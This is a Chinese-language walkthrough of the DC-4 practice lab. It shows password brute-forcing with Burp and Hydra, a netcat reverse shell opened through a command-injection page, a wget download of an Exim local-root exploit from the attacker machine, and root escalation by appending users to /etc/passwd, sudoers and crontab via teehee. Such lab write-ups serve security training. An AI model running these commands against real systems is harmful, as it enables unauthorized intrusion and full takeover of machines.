DC靶场系列--DC-4
目录
信息搜集
主机发现
image-20250113194725962
端口扫描
image-20250113194751242
dirb目录扫描和dirsearch扫描都没出来什么东西。
192.168.213.158登上去是一个网页
image-20250113194922945
我们首先试一下弱密码爆破
漏洞利用
burp爆破--管理员密码
猜测用户名为admin,导入字典
image-20250113195215131
爆破出来密码为happy,登陆成功
命令执行漏洞---反弹shell
登陆进去后有个command按钮,有三条可以运行的命令
image-20250113195414613
猜测可以进行命令执行,那我们可以执行反弹shell,kali机开启监听
nc -lvvp 8888
修改radio内容
nc -c /bin/bash 192.168.213.154 8888
python3 -c 'import pty;pty.spawn("/bin/bash")' [美化终端]
image-20250113200042438
成功反弹shell
hydra爆破---ssh连接
我们再次进行信息搜集。进入/home目录,发现三个用户,依次进入查看其文件内容,只有jim底下有一个old-passwords.bak文件,它里面都是密码
image-20250113200754383
我们将这些密码粘贴到kali的password.txt文件,使用hydra对
jim用户进行SSH协议的密码破解尝试
hydra -l jim -P /range/DC/DC-4/passwd.txt ssh://192.168.213.158
image-20250113201405656
用户名:jim 密码: jibril04
image-20250113201546644
连接成功
提权方法1---find提权
首先sudo -l 显示”Sorry, user jim may not run sudo on dc-4“.
那我们find查找一下具有SUID权限且属于root用户的文件
image-20250113202033902
发现exim4,这个可以用来提权
首先查找exim4的版本信息
/usr/sbin/exim4 --version
image-20250113202458879
把那本为4.89,那我们搜索一下相关的exp
image-20250113202633702
首先利用一下46996.sh
locate linux/local/46996.sh
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
这个是脚本可以直接利用,我们将他传送到jim用户上
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 2.sh
python -m http.server 4446
靶机上
wget http://192.168.213.154:4446/2.sh
image-20250113203217489
运行显示权限不够,加个权限就可以
image-20250113203425211
提权方法2---teehee
信息搜集---进入charles用户
在这里有给jim写的信,我们可以查看一下该系统的邮箱目录看是否有可以搜集的信息
image-20250113204006531
通过ai可得知在Linux系统中,邮件通常存储在/var/mail
目录下。进入该目录
image-20250113204203117
可以看出,charles给jim留下了自己的密码 ^xHhA&hvim0y,我们su一下,切换用户
sudo提权---teehee
image-20250113204407282
image-20250113204426172
通过查看得知,teehee -a是追加内容
那我们可以在/etc/passwd中追加一条自己定义的拥有root权限用户,然后登录,这样也就算是完成了提权
添加空密码的有root权限的用户
image-20250113205657548
第二个密码域置空,第三个uid和第四个gid和root用户的保持一致
echo "shanran::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
image-20250113210530231
添加有密码的有root权限的用户
perl -le 'print crypt("root", "sa")'
//该命令的作用是使用 crypt 函数对字符串 "root" 进行加密,使用盐值 "sa",并输出加密后的结果。
echo "hack:saFKJij3eLACw:0:0:::/bin/bash" |sudo teehee -a /etc/passwd
image-20250113210845932
觉得这样获取flag有点问题的,可以charles用户 提升为具有root权限,即写入/etc/sudoers文件中提权
charles ALL=(ALL:ALL) ALL
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
sudo -l 发现用户确实有了root权限。直接使用 sudo su来提升为root权限,输入密码即可
提权方法3---定时任务提权
查看系统支持shell环境
cat /etc/shells
image-20250113211644461
赋予/bin/sh
文件SUID权限,用teehee命令把这个定时任务写到定时任务文件/etc/crontab
中
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
//* * * * *表示后面的命令每一分钟都执行;
cat /etc/crontab发现定时任务已被写入,那可以直接进入/bin/bash环境
image-20250113212010479
提权完成